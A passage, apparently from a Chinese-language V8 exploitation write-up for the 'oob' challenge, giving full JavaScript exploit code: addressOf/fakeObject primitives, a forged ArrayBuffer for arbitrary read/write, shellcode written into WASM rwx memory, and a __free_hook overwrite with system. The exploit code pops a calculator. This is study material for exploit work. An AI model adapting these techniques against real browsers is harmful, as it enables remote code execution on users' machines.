return dv2.getBigUint64(0, true);
}
function arb_write_qword(addr, value) {
dv1.setBigUint64(0, addr, true);
return dv2.setBigUint64(0, value, true);
}
还有一种直接伪造ArrayBuffer
的方式:
这种方式关键在于Fake Map
的伪造,这种方式能够实现在于Type
字段是硬编码的,可以从内存中直接获取,至于为何不直接使用oob
获取,是因为Dataview
并不是Array
类型,不具有oob
函数。
var float_ab_mem = [
u2d(0n), // Map
u2d(0n), // Properties
u2d(0n), // Elements
u2d(0x1000n << 32n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042319080808n), // Type
];
%DebugPrint(float_ab_mem);
%SystemBreak();
var fake_ab_addr = addressOf(float_ab_mem) + 0x58n;
float_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fakeObject(fake_ab_addr);
var fake_dv = new DataView(fake_ab);
function arb_read_qword(addr) {
float_ab_mem[4] = u2d(addr);
return fake_dv.getBigUint64(0, true);
}
function arb_write_qword(addr, value) {
float_ab_mem[4] = u2d(addr);
return fake_dv.setBigUint64(0, value, true);
}
劫持程序执行流
利用WASM写ShellCode
低版本的V8在运行WASM时会生成rwx
的内存段,向内部写入shellcode即可控制程序执行流。直接在内存中搜索shellcode的首地址,找到后发现就是WebAssembly.Instance
的地址固定偏移处的地址:
pwndbg> search -8 0x29e6f35e7000
Searching for value: b'\x00p^\xf3\xe6)\x00\x00'
[anon_9c1ffec0] 0x9c1ffee1728 0x29e6f35e7000
[heap] 0x55d560baec48 0x29e6f35e7000
[heap] 0x55d560baecb0 0x29e6f35e7000
[heap] 0x55d560baecd0 0x29e6f35e7000
[heap] 0x55d560bb7e30 0x29e6f35e7000
pwndbg> distance 0x09c1ffee16a1 0x9c1ffee1728
0x9c1ffee16a1->0x9c1ffee1728 is 0x87 bytes (0x10 words)
以下是弹计算器的exp
:
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
%DebugPrint(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
var obj = {};
var object_array = [obj];
var object_array_map = object_array.oob();
var float_array = [1.1];
var float_array_map = float_array.oob();
function addressOf(obj) {
float_array.oob(object_array_map);
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}
function fakeObject(addr) {
object_array.oob(float_array_map);
object_array[0] = u2d(addr | 1n);
object_array.oob(object_array_map);
return object_array[0];
}
var float_ab_mem = [
u2d(0n), // Map
u2d(0n), // Properties
u2d(0n), // Elements
u2d(0x1000n << 32n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042319080808n), // Type
];
%DebugPrint(float_ab_mem);
%SystemBreak();
var fake_ab_addr = addressOf(float_ab_mem) + 0x58n;
float_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fakeObject(fake_ab_addr);
var fake_dv = new DataView(fake_ab);
function arb_read_qword(addr) {
float_ab_mem[4] = u2d(addr);
return fake_dv.getBigUint64(0, true);
}
function arb_write_qword(addr, value) {
float_ab_mem[4] = u2d(addr);
return fake_dv.setBigUint64(0, value, true);
}
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
var rwx_mem_addr = arb_read_qword(addressOf(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));
var shellcode = [
0x636c6163782fb848n,
0x73752fb848500000n,
0x8948506e69622f72n,
0x89485750c03148e7n,
0x3ac0c748d23148e6n,
0x4944b84850000030n,
0x48503d59414c5053n,
0x485250c03148e289n,
0x00003bc0c748e289n,
0x0000000000050f00n
]
for (let i = 0; i < shellcode.length; i++) {
arb_write_qword(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}
f();
劫持free_hook
这个利用很简单,只需要想办法找到libc基址即可。
var array_addr = addressOf(Array);
var elf_base = arbitrary_address_read(arbitrary_address_read(array_addr - 1n + 0x30n) + 0x41n) - 0xf8f680n;
print("[*] elf base: " + hex(elf_base));
var libc_base = arbitrary_address_read(elf_base + 0x1271b90n) - 0x7b0c0n;
print("[*] libc base: " + hex(libc_base));
var system_addr = libc_base + 0x4f420n;
var free_hook_addr = libc_base + 0x3ed8e8n;
arbitrary_address_write(free_hook_addr, system_addr);
print("/snap/bin/gnome-calculator");
问题:
- Element 的构成
-
var
和let
的区别以及内存中的体现